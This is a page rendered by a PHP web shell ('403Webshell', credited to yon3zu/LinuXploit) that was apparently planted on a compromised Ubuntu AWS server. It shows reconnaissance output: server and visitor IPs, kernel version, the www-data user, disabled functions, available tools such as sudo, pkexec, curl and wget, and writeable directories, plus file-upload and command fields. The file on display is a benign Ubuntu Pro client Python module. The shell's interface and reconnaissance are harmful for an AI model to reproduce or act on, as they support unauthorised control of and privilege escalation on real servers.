403Webshell
Server IP : 13.213.54.232  /  Your IP : 216.73.217.11
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ip-172-31-17-110 6.8.0-1029-aws #31~22.04.1-Ubuntu SMP Thu Apr 24 21:16:18 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.1.33-67+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/uaclient/api/u/pro/attach/auto/configure_retry_service/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/uaclient/api/u/pro/attach/auto/configure_retry_service/v1.py
from uaclient import system
from uaclient.api.api import APIEndpoint
from uaclient.api.data_types import AdditionalInfo
from uaclient.api.u.pro.attach.auto.full_auto_attach.v1 import (
    FullAutoAttachOptions,
)
from uaclient.config import UAConfig
from uaclient.daemon import retry_auto_attach
from uaclient.data_types import DataObject
from uaclient.files import state_files

ConfigureRetryServiceOptions = FullAutoAttachOptions


class ConfigureRetryServiceResult(DataObject, AdditionalInfo):
    pass


def configure_retry_service(
    options: ConfigureRetryServiceOptions,
) -> ConfigureRetryServiceResult:
    return _configure_retry_service(options, UAConfig())


def _configure_retry_service(
    options: ConfigureRetryServiceOptions, cfg: UAConfig
) -> ConfigureRetryServiceResult:
    """
    This endpoint configures options for the retry auto-attach functionality,
    and creates files that will activate the retry auto-attach functionality
    if ``ubuntu-advantage.service`` runs.

    Note that this does not start ``ubuntu-advantage.service``. This makes it
    useful for calling during the boot process
    ``Before: ubuntu-advantage.service`` so that when
    ``ubuntu-advantage.service`` starts, its ``ConditionPathExists`` check
    passes and activates the retry auto-attach function.

    If you call this function outside of the boot process and would like the
    retry auto-attach functionality to actually start, you'll need to call
    something like ``systemctl start ubuntu-advantage.service``.
    """
    state_files.retry_auto_attach_options_file.write(
        state_files.RetryAutoAttachOptions(
            enable=options.enable, enable_beta=options.enable_beta
        )
    )
    system.create_file(retry_auto_attach.FLAG_FILE_PATH)
    return ConfigureRetryServiceResult()


endpoint = APIEndpoint(
    version="v1",
    name="ConfigureRetryService",
    fn=_configure_retry_service,
    options_cls=ConfigureRetryServiceOptions,
)

_doc = {
    "introduced_in": "27.12",
    "requires_network": False,
    "extra_args_content": """
.. note::

    If none of the lists are set, the services will be enabled based on the
    contract definitions.
""",
    "example_python": """
from uaclient.api.u.pro.attach.auto.configure_retry_service.v1 import configure_retry_service, ConfigureRetryServiceOptions

options = ConfigureRetryServiceOptions(enable=["<service1>", "<service2>"], enable_beta=["<beta_service3>"])
result = configure_retry_service(options)
""",  # noqa: E501
    "result_class": ConfigureRetryServiceResult,
    "exceptions": [],
    "example_cli": 'pro api u.pro.attach.auto.configure_retry_service.v1 --data {"enable": ["esm-infra", "esm-apps"]}',  # noqa: E501
    "example_json": """
{}
""",
}

Youez - 2016 - github.com/yon3zu
LinuXploit